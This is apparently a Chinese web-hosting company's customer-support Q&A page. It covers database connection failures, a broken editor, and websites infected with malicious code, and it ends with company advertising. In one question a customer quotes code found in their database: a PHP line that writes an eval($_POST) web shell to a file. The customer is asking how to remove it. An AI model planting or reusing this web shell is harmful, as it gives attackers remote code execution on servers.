問：
,登錄網站后臺顯示數據庫連接失敗
答：您好，目前查看主機mysql服務運行正常，同時使用您程序連接配置文件中的mysql賬號和密碼可以進入mysql的，您再測試一下，非常感謝您長期對我司的支持!
問：就是想知道的是，時常會出現這個提示的根本原因是什么呢
答：您好，您mysql出現 close of 101446，您核實一下的站點訪問情況，同時可以參考https://www.jb51.net/article/57299.htm 調整試試，非常感謝您長期對我司的支持!
問：好的，感謝你為我們提供幫助！
答：您好，不客氣，非常感謝您長期對我司的支持!
問：開了一個美國空間，這個空間編輯器（kindeditor）不能正常顯示，影響網站使用，開了N個你們的香港空間都沒有這樣的問題，請排查一下
答：您好，從您的訪問看似乎是程序兼容問題，請提供下后臺帳號密碼以便我司處理后測試下，謝謝。
問：en.sinoscale.net/guanli/ 賬號 密碼 應該是程序兼容性問題，同一套程序，開了很多個你們香港空間沒問題
答：您好，請您換一款瀏覽器呢，目前我司這邊測試是可以正常顯示的，測試在和搜狗瀏覽器下都可以正常的打開，請核實下，謝謝。
問：站點名稱： 域名：http://jinlanseo.com/ 后臺：http://jinlanseo.com/yahuku 用戶名:********** 密碼:********** 站點中毒導致登錄提示用戶名不存在，我想恢復之前的數據！但是知道這是那一天中毒的！所以還請你們幫忙看下數據，并且恢復到沒有中毒的前一天。
問：<?php file_put_contents(\’read.php\’,\'<?php eval($_POST[x]);echo mOon;?>\’);?>- 另外數據庫中這串代碼怎么刪除？能不能幫我一并刪除掉
答：您好
3、若需我司協助您清理掛馬,請您提交對應工單：【主機租用/vps/云主機】—【站點設置】—【清理網站掛馬代碼和非法信息（一個站點）】會涉及到費用,我司只能幫您清理掛馬,無法幫您修復漏洞,請知悉,非常感謝您長期對我司的支持!
問：網站后臺：www.scslz.com/lzwldede
賬號：密碼:**********
答：您好，
問：謝謝，最近www.scslz.com網站持續被掛非法信息，后臺程序也是升級到了最新版本，遠程登錄www也設置成了拒絕訪問，為什么還是一直被持續掛馬呢 ，麻煩說下應該怎么及時預防呢
答：您好，1、之前可能是您清理了非法信息但是對應的后門木馬沒有清理。
2、目前沒有查到被掛馬，建議子啊觀察，同時建議開啟網站日志，當網站被掛馬的時候查看對應文件篡改時間結合您的網站日志進行分析，查看到對應的掛馬文件路徑進行清理。
3、服務器上安全可以參考 http://m.shinetop.cn/faq/list.asp?unid=853進行設置，同時查看到您使用的是的系統，微軟已經停止更新，安全性不然，如果可以建議重裝為 的系統。
非常感謝您長期對我司的支持!
三五互聯（35.com）是經工信部、ICANN、CNNIC認證審批，持有ISP、云牌照、IDC、CDN、頂級域名注冊商等全業務資質的正規老牌服務商，自成立至今20余年專注于域名注冊、虛擬主機、云服務器、企業郵箱、企業建站等互聯網基礎服務！
截止目前，已經為超過2000萬個域名提供了注冊、解析等服務，是中國五星級域名注冊注冊商！已為超過50萬個網站提供了高速穩定的云托管服務，獲評中國最受用戶喜歡云主機服務商。
三五互聯提供全方位7X24H專業售后支撐，域名注冊特價1元起，高速穩定云主機45元起，更多詳情請瀏覽三五互聯官網：http://m.shinetop.cn/